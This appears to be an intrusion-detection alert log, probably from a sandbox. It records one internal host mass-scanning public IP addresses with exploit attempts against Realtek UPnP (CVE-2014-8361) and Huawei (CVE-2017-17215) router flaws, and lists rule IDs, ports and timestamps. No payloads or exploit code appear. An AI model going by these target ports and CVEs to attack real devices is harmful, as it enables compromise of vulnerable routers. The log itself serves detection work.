ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 142.238.177.84

Timestamp:	07/20/24-23:01:43.062246
SID:	2025132
Source Port:	54704
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.153.22.137

Timestamp:	07/20/24-23:01:11.822392
SID:	2829579
Source Port:	41642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 126.224.156.29

Timestamp:	07/20/24-23:01:41.383579
SID:	2025132
Source Port:	43468
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 207.198.69.39

Timestamp:	07/20/24-23:01:55.623247
SID:	2831300
Source Port:	54538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.61.115.2

Timestamp:	07/20/24-23:01:42.677301
SID:	2025132
Source Port:	55986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.32.130.76

Timestamp:	07/20/24-23:01:02.750140
SID:	2027339
Source Port:	60326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.224.141.66

Timestamp:	07/20/24-23:02:07.401340
SID:	2027339
Source Port:	47090
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.134.147.250

Timestamp:	07/20/24-23:01:02.046626
SID:	2829579
Source Port:	54992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.61.249.135

Timestamp:	07/20/24-23:01:53.735607
SID:	2027339
Source Port:	50640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 125.78.0.230

Timestamp:	07/20/24-23:01:42.111275
SID:	2025132
Source Port:	43974
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.119.223.145

Timestamp:	07/20/24-23:00:57.221141
SID:	2835222
Source Port:	52906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.169.170.137

Timestamp:	07/20/24-23:01:45.159648
SID:	2027339
Source Port:	53638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 136.131.38.133

Timestamp:	07/20/24-23:01:07.061779
SID:	2829579
Source Port:	59324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 89.81.144.22

Timestamp:	07/20/24-23:01:44.464382
SID:	2025132
Source Port:	60824
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.65.5.53

Timestamp:	07/20/24-23:01:07.018425
SID:	2835222
Source Port:	40100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.195.37.248

Timestamp:	07/20/24-23:01:52.425638
SID:	2027339
Source Port:	40594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.35.38.63

Timestamp:	07/20/24-23:01:34.050672
SID:	2829579
Source Port:	39408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.168.246.30

Timestamp:	07/20/24-23:01:34.055714
SID:	2829579
Source Port:	36492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.191.15.111

Timestamp:	07/20/24-23:01:42.939519
SID:	2025132
Source Port:	50474
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.181.48.189

Timestamp:	07/20/24-23:01:43.360543
SID:	2027339
Source Port:	54518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.122.16.215

Timestamp:	07/20/24-23:01:53.524729
SID:	2027339
Source Port:	49608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.180.219.211

Timestamp:	07/20/24-23:01:31.975107
SID:	2835222
Source Port:	53832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.158.218.166

Timestamp:	07/20/24-23:01:31.312894
SID:	2027339
Source Port:	53344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.25.37.64

Timestamp:	07/20/24-23:02:10.031806
SID:	2027339
Source Port:	49060
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.21.143.158

Timestamp:	07/20/24-23:01:04.782707
SID:	2027339
Source Port:	56436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.147.128.195

Timestamp:	07/20/24-23:01:20.113254
SID:	2829579
Source Port:	40340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.203.181.85

Timestamp:	07/20/24-23:01:27.650037
SID:	2829579
Source Port:	48746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.105.181.156

Timestamp:	07/20/24-23:01:31.322217
SID:	2027339
Source Port:	39998
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.128.21.230

Timestamp:	07/20/24-23:01:47.532849
SID:	2027339
Source Port:	40410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.19.121.71

Timestamp:	07/20/24-23:01:51.197215
SID:	2025132
Source Port:	59982
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.56.206.158

Timestamp:	07/20/24-23:01:59.604768
SID:	2027339
Source Port:	48086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 200.203.33.61

Timestamp:	07/20/24-23:01:51.172994
SID:	2027339
Source Port:	39872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.140.184.210

Timestamp:	07/20/24-23:01:45.723019
SID:	2027339
Source Port:	41890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 104.178.230.186

Timestamp:	07/20/24-23:01:08.588009
SID:	2831300
Source Port:	59924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 200.248.84.13

Timestamp:	07/20/24-23:01:43.158920
SID:	2025132
Source Port:	52066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.130.78.45

Timestamp:	07/20/24-23:01:59.539512
SID:	2027339
Source Port:	35924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 198.228.131.204

Timestamp:	07/20/24-23:01:41.321505
SID:	2027339
Source Port:	49492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.125.127.147

Timestamp:	07/20/24-23:01:51.067695
SID:	2027339
Source Port:	50730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 107.35.253.244

Timestamp:	07/20/24-23:02:08.128674
SID:	2025132
Source Port:	46790
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.14.83.223

Timestamp:	07/20/24-23:01:44.118192
SID:	2027339
Source Port:	33128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.127.134.199

Timestamp:	07/20/24-23:02:05.590034
SID:	2027339
Source Port:	41408
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.56.45.233

Timestamp:	07/20/24-23:01:41.245523
SID:	2025132
Source Port:	58408
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 143.157.68.18

Timestamp:	07/20/24-23:01:26.120876
SID:	2025132
Source Port:	55384
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.143.86.166

Timestamp:	07/20/24-23:01:49.138222
SID:	2027339
Source Port:	38704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.74.79.160

Timestamp:	07/20/24-23:01:31.312311
SID:	2027339
Source Port:	39582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 182.81.116.37

Timestamp:	07/20/24-23:01:44.280820
SID:	2027339
Source Port:	52686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.48.176.220

Timestamp:	07/20/24-23:01:40.294677
SID:	2829579
Source Port:	52602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 205.156.124.10

Timestamp:	07/20/24-23:01:41.897768
SID:	2025132
Source Port:	45198
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 83.99.82.220

Timestamp:	07/20/24-23:01:42.290838
SID:	2027339
Source Port:	52896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.210.186.227

Timestamp:	07/20/24-23:00:57.221365
SID:	2829579
Source Port:	32888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 134.217.248.188

Timestamp:	07/20/24-23:01:58.146169
SID:	2027339
Source Port:	54036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.247.217.62

Timestamp:	07/20/24-23:01:00.637175
SID:	2829579
Source Port:	46764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 83.22.51.58

Timestamp:	07/20/24-23:01:02.047411
SID:	2829579
Source Port:	42784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.127.88.100

Timestamp:	07/20/24-23:01:31.312186
SID:	2027339
Source Port:	38986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 31.234.118.120

Timestamp:	07/20/24-23:01:45.270636
SID:	2027339
Source Port:	55774
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 116.88.149.60

Timestamp:	07/20/24-23:01:31.328066
SID:	2027339
Source Port:	49834
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 116.148.59.65

Timestamp:	07/20/24-23:01:44.085493
SID:	2025132
Source Port:	48974
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.83.8.136

Timestamp:	07/20/24-23:01:50.794251
SID:	2027339
Source Port:	50094
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.214.148.214

Timestamp:	07/20/24-23:00:57.221735
SID:	2829579
Source Port:	47684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 185.92.40.236

Timestamp:	07/20/24-23:01:04.118166
SID:	2829579
Source Port:	45782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 71.113.201.241

Timestamp:	07/20/24-23:01:08.599362
SID:	2831300
Source Port:	50400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.91.197.8

Timestamp:	07/20/24-23:01:34.053062
SID:	2835222
Source Port:	44258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.115.2.79

Timestamp:	07/20/24-23:01:46.520662
SID:	2025132
Source Port:	36958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 91.196.45.114

Timestamp:	07/20/24-23:01:41.722161
SID:	2025132
Source Port:	43486
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.200.133.254

Timestamp:	07/20/24-23:01:25.589558
SID:	2835222
Source Port:	54630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.207.38.235

Timestamp:	07/20/24-23:01:41.303669
SID:	2027339
Source Port:	41978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 95.85.24.175

Timestamp:	07/20/24-23:01:52.686542
SID:	2831300
Source Port:	35262
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 170.28.87.249

Timestamp:	07/20/24-23:01:31.975513
SID:	2835222
Source Port:	37012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 23.141.254.89

Timestamp:	07/20/24-23:01:46.620479
SID:	2025132
Source Port:	39684
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.56.35.207

Timestamp:	07/20/24-23:01:50.202477
SID:	2025132
Source Port:	52778
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 101.42.79.184

Timestamp:	07/20/24-23:01:43.825430
SID:	2025132
Source Port:	41712
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 130.218.184.181

Timestamp:	07/20/24-23:01:58.885082
SID:	2831300
Source Port:	38460
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.169.65.78

Timestamp:	07/20/24-23:01:49.660516
SID:	2027339
Source Port:	51048
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 42.29.184.117

Timestamp:	07/20/24-23:01:53.057359
SID:	2831300
Source Port:	38558
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.49.181.78

Timestamp:	07/20/24-23:01:45.500697
SID:	2027339
Source Port:	59950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.42.160.177

Timestamp:	07/20/24-23:01:08.634900
SID:	2027339
Source Port:	55072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.114.226.119

Timestamp:	07/20/24-23:01:11.817297
SID:	2829579
Source Port:	43468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.5.83.65

Timestamp:	07/20/24-23:00:59.148145
SID:	2835222
Source Port:	53440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 175.51.152.50

Timestamp:	07/20/24-23:01:27.653586
SID:	2835222
Source Port:	54258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 177.64.16.178

Timestamp:	07/20/24-23:01:42.145997
SID:	2025132
Source Port:	60476
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.137.22.219

Timestamp:	07/20/24-23:01:52.094111
SID:	2027339
Source Port:	48356
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.254.228.216

Timestamp:	07/20/24-23:01:01.320095
SID:	2027339
Source Port:	34398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.28.100.8

Timestamp:	07/20/24-23:01:20.144672
SID:	2835222
Source Port:	54608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.217.190.133

Timestamp:	07/20/24-23:01:25.980169
SID:	2027339
Source Port:	47834
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.21.67.49

Timestamp:	07/20/24-23:00:57.222009
SID:	2829579
Source Port:	36512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 86.130.161.177

Timestamp:	07/20/24-23:01:41.276434
SID:	2025132
Source Port:	54756
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 189.208.63.195

Timestamp:	07/20/24-23:01:21.954501
SID:	2829579
Source Port:	56588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.9.1.207

Timestamp:	07/20/24-23:01:41.360320
SID:	2027339
Source Port:	47796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.56.63.93

Timestamp:	07/20/24-23:01:54.569234
SID:	2027339
Source Port:	54596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.91.121.224

Timestamp:	07/20/24-23:01:42.145997
SID:	2027339
Source Port:	34796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 137.66.212.197

Timestamp:	07/20/24-23:01:44.250892
SID:	2025132
Source Port:	60948
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 181.43.61.4

Timestamp:	07/20/24-23:01:10.711138
SID:	2027339
Source Port:	42232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 199.106.155.17

Timestamp:	07/20/24-23:01:51.258596
SID:	2831300
Source Port:	36072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 135.128.96.121

Timestamp:	07/20/24-23:01:57.049485
SID:	2831300
Source Port:	39522
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 118.135.71.210

Timestamp:	07/20/24-23:01:13.730392
SID:	2025132
Source Port:	52548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.209.58.117

Timestamp:	07/20/24-23:01:24.885895
SID:	2829579
Source Port:	59874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.200.205.123

Timestamp:	07/20/24-23:01:49.803911
SID:	2027339
Source Port:	58846
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.233.17.165

Timestamp:	07/20/24-23:01:20.110860
SID:	2829579
Source Port:	57738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.42.28.225

Timestamp:	07/20/24-23:01:53.844694
SID:	2027339
Source Port:	51090
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

